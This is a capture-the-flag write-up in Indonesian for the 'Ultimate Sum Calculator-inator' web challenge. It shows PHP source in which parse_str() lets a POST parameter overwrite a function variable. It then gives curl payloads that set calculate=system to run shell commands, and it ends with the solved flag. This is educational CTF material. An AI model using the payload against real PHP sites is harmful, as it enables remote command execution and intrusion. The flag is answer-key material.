[Arkavidia 7.0] The Ultimate Sum Calculator-inator

ctf, web

Diberikan soal dan sebuah website dengan deskripsi seperti berikut.

The Ultimate Sum Calculator-inator

Deskripsi
Author: didithilmy

Setelah website dibuka, hanya terdapat dua field input dengan satu button yang berfungsi sebagai penjumlahan 2 bilangan matematika.

Jika kita melihat view-source pada website, terdapat comment ?debug=1 yang dapat ditambahkan pada URL sebagai parameter. Setelah dibuka dengan tambahan parameter ?debug=1, maka akan terlihat source code PHP dari website tersebut.

Source Code

<?php
error_reporting(0);

if ($_GET['debug']) {
    highlight_file(__FILE__);
    return;
}

$calculate = function($a, $b) {
    return $a + $b;
};

$param = parse_str(file_get_contents("php://input"));

if ($param['a']) {
    $a = $param['a'];
}

if ($param['b']) {
    $b = $param['b'];
}

if ($a && $b) {
    $result = $calculate($a, $b);
}
?>
<html>
    <head>
        <title>The Ultimate Sum Calculator-inator</title>
    </head>
    <body>
        <h1>The Ultimate Sum Calculator-inator</h1>
        <form method="post">
            <input name="a" type="text" placeholder="First number" />
            <div style="height: 4px"></div>
            <input name="b" type="text" placeholder="Second number" />
            <br /><br />
            <input type="submit" value="Calculate" />
        </form>
        <?php if ($result) echo "The result is $result"; ?>
    </body>
    <!-- ?debug=1 -->
</html>

Berikut penjelasan dari Source Code PHP diatas

  1. $calculate adalah sebuah anonymous function yang menerima dua parameter $a dan $b yang akan dijumlahkan lalu di return sebagai hasil dari pemanggilan function.
    $calculate = function($a, $b) {
     return $a + $b;
    };
    
  2. $param mengambil Raw POST body yang dikirimkan dari user menggunakan
    file_get_contents("php://input")
    

    Setelah itu di parsing dan diubah menjadi variable menggunakan function parse_str
    ilustrasi singkat

    curl -d 'a=value1&b=value2' http://web.com
    // diproses
    file_get_contents("php://input") = "a=value1&b=value2"
    parse_str("a=value1&b=value2")
    // diparse menjadi
    $a = "value1";
    $b = "value2";
    
  3. Memanggil anonymous function $calculate dengan parameter $a dan $b yang hasilnya disimpan pada $result
    if ($a && $b) {
     $result = $calculate($a, $b);
    }
    
  4. Terakhir, menampilkan hasil dari $result pada website
    <?php if ($result) echo "The result is $result"; ?>
    

Nah, sebenarnya kita dapat memanfaatkan function parse_str() tersebut untuk menimpa variable $calculate dengan input kita, sehingga kita dapat menjalankan function apapun yang kita inginkan.

Bagaimana caranya? Tinggal tambahkan satu parameter pada POST body dengan key calculate dan valuenya adalah salah satu function di PHP, sehingga jadi seperti berikut

curl -d 'a=value1&b=value2&calculate=echo' http://web.com

// $calculate masih normal
$calculate = function($a, $b) {
    return $a + $b;
};

$param = parse_str(file_get_contents("php://input"));
// di parsing menjadi
$a = "value1"
$b = "value2"

// $calculate tertimpa denga "echo"
$calculate = "echo"

if ($a && $b) {
    $result = $calculate($a, $b);
    // $result = echo("value1", "value2");	
}

Website akan menjalankan function echo dengan menambahkan calculate=echo pada POST body kita.

Lalu kita mencoba menjalankan function system dengan a = command yang ingin kita jalankan dan b = 1, sehingga

curl -d 'a=ls&b=1&calculate=system' http://web.com

$result = $calculate($a, $b);
$result = system("ls", "1");

RCE

Sip! Pada response sudah terlihat index.php sebagai hasil dari command ls. Karena kita udah dapet Remote Command Execution (RCE), kita tinggal cari flag dan dapatkan flagnya :D

Flag

Arkav7{simple_PHP_variable_overwrite}